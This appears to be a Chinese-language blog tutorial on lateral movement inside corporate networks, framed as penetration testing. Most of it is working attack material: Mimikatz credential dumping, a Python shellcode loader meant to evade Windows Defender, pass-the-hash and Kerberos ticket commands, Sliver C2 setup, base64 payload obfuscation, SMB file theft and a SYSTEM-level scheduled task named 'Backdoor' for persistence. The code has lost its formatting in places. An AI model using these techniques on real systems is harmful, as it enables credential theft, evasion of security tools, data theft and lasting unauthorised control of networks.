一、从内网架构谈渗透攻击面

在进行内网渗透测试时,横向移动是一个关键环节。它的目标是通过获取网络内多个主机的控制权,逐步扩大权限范围,最终达到核心目标。了解内网架构,是我们设计横向移动策略的第一步。

典型企业内网会包含以下几种主要组件:

  • 域控服务器:负责管理身份认证和权限分配,通常是攻击的核心目标。
  • 文件共享服务:如 SMB 和 FTP,用于共享文件,是信息收集和漏洞利用的关键。
  • 工作站:普通员工使用的设备,通常权限较低,但可能存储敏感信息。
  • 防火墙与网络设备:控制流量和访问规则,限制攻击者的横向移动。

这些组件之间通过协议(如 SMB、RDP、WMI、LDAP)进行通信,而这些协议也成为攻击者的横向移动工具。接下来,我们将结合工具和代码,逐步演示如何进行横向渗透。

---

二、找到突破口:信息收集的关键战术

在内网环境中,信息收集是横向移动的基础。通过枚举网络资源、用户身份、以及目标机器的开放端口,我们可以了解到攻击的可能路径。

使用工具:轮子不造,直接上 BloodHound

BloodHound 是内网渗透的强大工具,用于分析域内权限关系。首先,我们需要收集 Active Directory 数据。推荐使用 SharpHound 收集数据:

<pre><code class="language-bash"># 使用 SharpHound 提取域内数据 SharpHound.exe --CollectionMethods All --ZipFilename collected.zip</code></pre>

收集到的数据可以导入到 BloodHound 中进行分析。以下是一些关键的关系节点需要关注:

  • 用户组与权限:是否存在高权限用户组?
  • 机器间信任:哪些机器允许远程访问?
  • 敏感信息存储:某些节点可能包含未保护的凭证。

Python实现:手工枚举 SMB 共享

除了工具,我们也可以自己写脚本进行信息收集。以下代码使用 impacket 枚举 SMB 共享:

<pre><code class="language-python">from impacket.smbconnection import SMBConnection

def enumerate_shares(ip, username, password): conn = SMBConnection(ip, username, password, domain=&#039;&#039;) conn.connect(ip, 445)

print(f&quot;[+] Connected to {ip}&quot;) shares = conn.listShares() for share in shares: print(f&quot;[-] Found share: {share[&#039;shi1_netname&#039;]}&quot;)

替换为目标IP和SMB登录账户

target_ip = &quot;192.168.1.10&quot; username = &quot;user&quot; password = &quot;pass123&quot; enumerate_shares(target_ip, username, password)</code></pre>

通过这种方式,我们可以发现隐蔽的共享文件夹,进一步分析其内容。

---

三、凭证是钥匙:获取登录信息的艺术

横向移动通常需要凭证。攻击者会通过以下三种主要方式获取凭证:

  1. 明文密码:如网络共享文件中存储的文本文件。
  2. 哈希值:如 NTLM 哈希,用于 Pass-the-Hash 攻击。
  3. 票据与令牌:Kerberos 票据和 Windows 令牌。

技巧展示:Dump 凭证的实战

一旦我们获得了低权限的主机权限,下一步就是获取更多凭证。推荐使用 Mimikatz

黑客示意图

<pre><code class="language-bash"># Dump 凭证 privilege::debug sekurlsa::logonpasswords</code></pre>

如果目标机器启用了 Windows Defender,我们可以使用以下 Python 脚本动态加载 Mimikatz,绕过检测:

<pre><code class="language-python">import ctypes

def run_mimikatz(shellcode_path):

Shellcode 从文件加载

with open(shellcode_path, &#039;rb&#039;) as f: shellcode = f.read()

分配内存并执行 Shellcode

ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)

替换为你的 Mimikatz Shellcode 文件路径

run_mimikatz(&quot;mimikatz_shellcode.bin&quot;)</code></pre>

这种方式通过直接加载内存中的 Mimikatz,有效避开了文件级别的杀软检测。

---

四、横向的门:协议与工具的双刃剑

在内网中,横向移动的关键是利用协议实现远程控制。以下是主流的横向移动方法:

方法一:Pass-the-Hash 攻击

当我们获取目标机器的 NTLM 哈希时,可以利用 impacket 实现 Pass-the-Hash 登录:

<pre><code class="language-bash"># 使用 impacket 的 wmiexec.py 工具实现横向移动 wmiexec.py &#039;DOMAIN/user:NTLM_HASH@target_ip&#039;</code></pre>

方法二:Kerberos 票据攻击

如果我们获取了 TGT 或服务票据,可以使用 Rubeus 实现票据传递攻击: <pre><code class="language-bash"># 加载 Kerberos TGT Rubeus.exe asktgt /user:user /rc4:NTLM_HASH</code></pre>

方法三:远程执行命令

通过 WMIPSExec 实现命令远程执行。例如,使用以下 Python 代码通过 WMI 执行命令:

<pre><code class="language-python">from impacket.examples import wmiexec

def execute_remote_command(target_ip, username, password, command): executor = wmiexec.WMIEXEC( command, username + &#039;:&#039; + password + &#039;@&#039; + target_ip) executor.run()

替换目标信息

execute_remote_command(&quot;192.168.1.20&quot;, &quot;user&quot;, &quot;pass123&quot;, &quot;ipconfig&quot;)</code></pre>

黑客示意图

这些方法可以帮助我们在主机之间横向移动,逐步进入目标区域。

黑客示意图

---

五、隐形术:流量与痕迹的对抗策略

攻击过程中,隐蔽性至关重要。以下是一些对抗检测的技巧:

流量伪装

通过伪装 C2 流量,可以有效对抗 IDS/IPS 检测。例如,使用 Sliver 配置 HTTPS 流量: <pre><code class="language-bash"># 在 Sliver 中生成 HTTPS C2 generate --http --host http://192.168.1.100</code></pre>

文件免杀

通过加壳和混淆,可以对抗杀软检测。例如使用 Python 实现简单的 Base64 加密: <pre><code class="language-python">import base64

def obfuscate_file(input_file, output_file): with open(input_file, &#039;rb&#039;) as f: data = f.read()

obfuscated = base64.b64encode(data) with open(output_file, &#039;wb&#039;) as f: f.write(obfuscated)

使用方法

obfuscate_file(&quot;payload.exe&quot;, &quot;payload_obfuscated.bin&quot;)</code></pre>

加载时通过内存解密运行,避免触发静态分析引擎。

---

六、成功的标志:数据窃取与权限维持

在内网渗透中,最终目标可能是窃取敏感数据或维持长期控制。例如:

数据窃取

利用 SMBFTP 下载文件: <pre><code class="language-bash"># 通过 impacket 的 smbclient.py 下载文件 smbclient.py &#039;DOMAIN/user:password@target_ip&#039; -share fileshare -command &#039;get secret.docx&#039;</code></pre>

权限维持

利用任务计划实现权限维持: <pre><code class="language-bash"># 创建计划任务 schtasks /create /tn &quot;Backdoor&quot; /tr &quot;c:\backdoor.exe&quot; /sc daily /ru SYSTEM</code></pre>

---

七、个人经验:实战中的灵活应变

渗透测试的最大挑战在于不可预测性。每个环境都有独特的架构和防护措施,因此攻击者需要灵活调整策略:

  • 信息收集优先:如果无法收集到有效信息,后续攻击会受阻。
  • 工具灵活应用:手工方法与自动化工具结合,避免单一依赖。
  • 日志分析:成功后,查看目标系统日志,发现可能的反制措施。

横向移动不仅是技术问题,更是心理战。保持耐心,逐步推进,才能最终达成目标。

黑客示意图